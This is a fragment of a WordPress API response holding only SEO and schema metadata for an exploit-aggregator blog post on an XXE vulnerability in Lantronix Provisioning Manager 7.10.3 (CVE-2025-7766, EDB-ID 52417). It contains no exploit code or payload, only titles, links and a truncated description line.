class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13325#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13325\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE)_EDB-ID:52417\",\"datePublished\":\"2025-08-18T13:50:32+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13325\"},\"wordCount\":2361,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.6\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=13325#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13325\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13325\",\"name\":\"Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)_EDB-ID:52417 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-18T13:50:32+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13325#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=13325\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13325#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE)_EDB-ID:52417\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)_EDB-ID:52417 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=13325","og_locale":"en_US","og_type":"article","og_title":"Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)_EDB-ID:52417 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-08-18T18:05:35&#8243;,&#8221;description&#8221;:&#8221;\/ * Exploit Title: Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE) &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-08-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE)&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52417&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-7766&#8243;],&#8221;sourceData&#8221;:&#8221;\/*rn *...","og_url":"https:\/\/zero.redgem.net\/?p=13325","og_site_name":"zero redgem","article_published_time":"2025-08-18T13:50:32+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=13325#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=13325"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE)_EDB-ID:52417","datePublished":"2025-08-18T13:50:32+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=13325"},"wordCount":2361,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.6","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=13325#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=13325","url":"https:\/\/zero.redgem.net\/?p=13325","name":"Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)_EDB-ID:52417 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-18T13:50:32+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=13325#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=13325"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=13325#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE)_EDB-ID:52417"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/13325","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=13325"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/13325\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=13325"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=13325"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=13325"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}